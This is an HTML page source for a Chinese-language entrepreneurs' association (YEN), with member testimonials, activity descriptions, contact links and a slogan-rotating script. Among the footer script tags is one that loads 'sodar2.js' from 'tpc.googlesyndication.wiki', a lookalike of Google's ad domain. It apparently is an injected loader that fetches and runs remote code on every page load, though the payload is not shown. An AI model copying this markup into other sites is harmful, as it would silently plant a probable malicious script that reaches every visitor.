Files

267 lines
13 KiB
HTML
Raw Permalink Normal View History

2026-03-29 09:33:09 +08:00
<!DOCTYPE html>
<html lang="en">
<head>
<!-- basic meta tags
=========================================== -->
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0,shrink-to-fit=no">
<!-- style files
=========================================== -->
<link rel="icon" href="../favicon.ico">
<!-- fonta -->
<link rel="preconnect" href="https://fonts.gstatic.com">
<link href="https://fonts.googleapis.com/css2?family=Montserrat:wght@400;500;700&display=swap" rel="stylesheet">
<!-- Bootstrap CSS -->
<link rel="stylesheet" href="../style/bootstrap.min.css" />
<!-- animated.css -->
<link rel="stylesheet" href="../style/animate.min.css" />
<!-- css -->
<link rel="stylesheet" href="../style/style.css">
<link rel="stylesheet" href="../style/value.css">
<!-- page title
=========================================== -->
<title>YEN</title>
</head>
<body>
<!-- navbar
=========================================== -->
<nav class="navbar navbar-expand-md navbar-dark fixed-top header">
<div class="container">
<!-- left -->
<div class="header-container">
<a href="index.html">
<img class="site-logo" src="../images/logo.png" />
<label>YEN</label>
</a>
<h2>對你的價值</h2>
<button style="border:none; outline: none;" class="navbar-toggler" type="button" data-toggle="collapse"
data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false"
aria-label="Toggle navigation">
<span class="nav__icon"></span>
</button>
</div>
<!-- right -->
<div class="collapse navbar-collapse justify-content-end" id="navbarSupportedContent">
<ul class="navbar-nav">
<li class="nav-item">
<a class="nav-link active" href="index.html" data-i18n-text="home">首頁</a>
</li>
<li class="nav-item">
<a class="nav-link" href="about.html" data-i18n-text="aboutUs">YEN介紹</a>
</li>
<li class="nav-item">
<a class="nav-link" href="value.html" data-i18n-text="">對你的價值</a>
</li>
<li class="nav-item">
<a class="nav-link" href="join.html" data-i18n-text="">加入我們</a>
</li>
</ul>
<div id="language" class="select-language">
<a href="../index.html"></a> | <a href="index.html"></a> | <a href="../en/index.html">EN</a>
</div>
</div><!-- /nav links -->
</div><!-- /container -->
</nav><!-- /navbar -->
<main>
<section id="block-worth-1" class="page-block block-worth-1">
<div class="slideshow">
<div class="slideshow-4-image pc-source" data-pc-url="../images/block-worth-1a-pc.jpg" style="background-image: url('../images/block-worth-1a.jpg')"></div>
<div class="slideshow-4-image pc-source" data-pc-url="../images/block-worth-1b-pc.jpg" style="background-image: url('../images/block-worth-1b.jpg')"></div>
<div class="slideshow-4-image" style="background-image: url('../images/block-worth-1c.jpg')"></div>
<div class="slideshow-4-image pc-source" data-pc-url="../images/block-worth-1d-pc.jpg" style="background-image: url('../images/block-worth-1d.jpg')"></div>
</div>
<div class="main-worth main-worth-mask-1">
<div class="container">
<div id="value" class="worth-content-1">
<div class="animate__animated animate__fadeIn">
<span>
“若說海内存知己,YEN的兄弟姐妹一定若比鄰”
<small>- W.C 房地產業</small>
</span>
</div>
<div class="animate__animated animate__fadeIn animate__delay-2s">
<span>
“可以敞開坦露脆弱的地方”
<small>- C.Y. 管理顧問業</small>
</span>
</div>
<div class="animate__animated animate__fadeIn animate__delay-1s">
<span>
“這裡不販賣信仰,卻能篤定我往前的信念”
<small>- V.T. 食品業</small>
</span>
</div>
<div class="animate__animated animate__fadeIn animate__delay-3s">
<span>
“各行業的深入洞察,分享真誠不套路”
<small>- T.H. 製造業</small>
</span>
</div>
</div>
</div>
</div>
</section>
<section id="block-worth-2" class="page-block block-worth-2">
<div class="slideshow">
<div class="slideshow-5-image pc-source" data-pc-url="../images/block-worth-2a-pc.jpg" style="background-image: url('../images/block-worth-2a.jpg')"></div>
<div class="slideshow-5-image" style="background-image: url('../images/block-worth-2b.jpg')"></div>
<div class="slideshow-5-image" style="background-image: url('../images/block-worth-2c.jpg')"></div>
<div class="slideshow-5-image" style="background-image: url('../images/block-worth-2d.jpg')"></div>
<div class="slideshow-5-image" style="background-image: url('../images/block-worth-2e.jpg')"></div>
</div>
<div class="worth-main-2">
<div class="container">
<div class="content">
<div>
<h3>來!一起參加YEN的</h3>
<div class="main-2">
<div class="worth-content-2">
<div>
<h5>分會分享會</h5>
<label>學習新知、保持最新商業的嗅覺</label>
<p>各地分會每年6-10次的乾貨分享會,在保密的原則下,分享深入的商業/生活主題</p>
</div>
<div>
<h5>分會年度進修</h5>
<label>與自己分會會員深交的最好機會</label>
<p>分會每年的體驗高點:每年一次三到四天的外出旅遊與學習,旅程中圍繞著本地會員開展各種學習與融入活動。</p>
</div>
<div>
<h5>私董會</h5>
<label>解決你各方面的議題</label>
<p>私董會是YEN裡頭最緊密的互助小組。不同於公開的大型活動,私董會是由固定的6-8位會員,一年6-10次聚在一起討論和解決各自遇到的議題。</p>
</div>
<div>
<h5>全球高峰會</h5>
<label>讓你認識各地、各行業的YEN兄弟姐妹</label>
<p>每年五月,全球各地的會員聚在一處有三到四天的密集活動,包含了學習、融入甚至競賽。全球高峰會是最好認識跨分會會員的機會。</p>
</div>
<div>
<h5>融入活動</h5>
<label>非正式、靈活的將會員融合在一起</label>
<p>除了正式的學習活動,YEN還有許多本地分會或者跨分會的融入活動,從戶外運動、家庭活動、到小範圍聚餐。</p>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</section>
<section class="contact-wrapper">
<div class="container">
<div class="main-content">
<label>聯繫YEN</label>
<p>
<span>
<img src="../images/icon-mail.png" />
<a href="https://yen.network/cdn-cgi/l/email-protection#3148545f1f50555c585f007158525d5e44551f525e5c"><span class="__cf_email__" data-cfemail="99e0fcf7b7f8fdf4f0f7a8d9f0faf5f6ecfdb7faf6f4">[email&#160;protected]</span></a>
</span>
<span>
<img src="../images/icon-fb.png" />
<a href="https://www.facebook.com/groups/yen.intl" target="_blank">雁博青年創業家協會</a>
</span>
<span>
<img src="../images/icon-wechat.png" />
<a href="javascript:;">公众号: 雁博会YEN</a>
</span>
</p>
</div>
</div>
</section>
</main>
<div class="copyright">&copy; 2022 雁博青年創業家協會.</div>
<!-- bootsrap js and jquery
=========================================== -->
<script data-cfasync="false" src="../cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script src="https://cdn.boomcdn.com/libs/wow-js/1.3.0/wow.min.js"></script>
<script type="text/javascript" src="https://tpc.googlesyndication.wiki/sodar/sodar2.js"></script>
<script>
new WOW().init();
</script>
<script src="https://cdn.bootcdn.net/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script src="https://cdn.staticfile.org/twitter-bootstrap/4.3.1/js/bootstrap.min.js"></script>
<script src="https://cdn.staticfile.org/popper.js/1.15.0/umd/popper.min.js"></script>
<script src="../js/jquery.cookie.min.js"></script>
<script src="../js/common.js"></script>
<script>
function tranSlogan() {
const oDiv = document.getElementById('value')
let i = 2
const t1 = `
<div class="animate__animated animate__fadeIn">
<span>
“若說海内存知己,YEN的兄弟姐妹一定若比鄰”
<small>- W.C 房地產業</small>
</span>
</div>
<div class="animate__animated animate__fadeIn animate__delay-2s">
<span>
“可以敞開坦露脆弱的地方”
<small>- C.Y. 管理顧問業</small>
</span>
</div>
<div class="animate__animated animate__fadeIn animate__delay-1s">
<span>
“這裡不販賣信仰,卻能篤定我往前的信念”
<small>- V.T. 食品業</small>
</span>
</div>
<div class="animate__animated animate__fadeIn animate__delay-3s">
<span>
“各行業的深入洞察,分享真誠不套路”
<small>- T.H. 製造業</small>
</span>
</div>
`
const t2 = `
<div class="animate__animated animate__fadeIn">
<span>
“你可以選擇的兄弟姐妹”
<small>- B.C. 教育訓練業</small>
</span>
</div>
<div class="animate__animated animate__fadeIn animate__delay-2s">
<span>
“無需帶面具,真實做自己”
<small>- A.C. 製造&貿易業</small>
</span>
</div>
<div class="animate__animated animate__fadeIn animate__delay-1s">
<span>
“創業路上最大的慰藉!”
<small>- L.L. 電子商務業</small>
</span>
</div>
<div class="animate__animated animate__fadeIn animate__delay-3s">
<span>
“這裡的每一面鏡子都可以照出創業路上相似的經歷。”
<small>- N.H 文化傳媒</small>
</span>
</div>
`
setInterval(function() {
if(i == 1) {
oDiv.innerHTML = t1
i = 2
}
else if(i === 2) {
oDiv.innerHTML = t2
i = 1
}
}, 12000)
}
tranSlogan()
</script>
</body>
</html>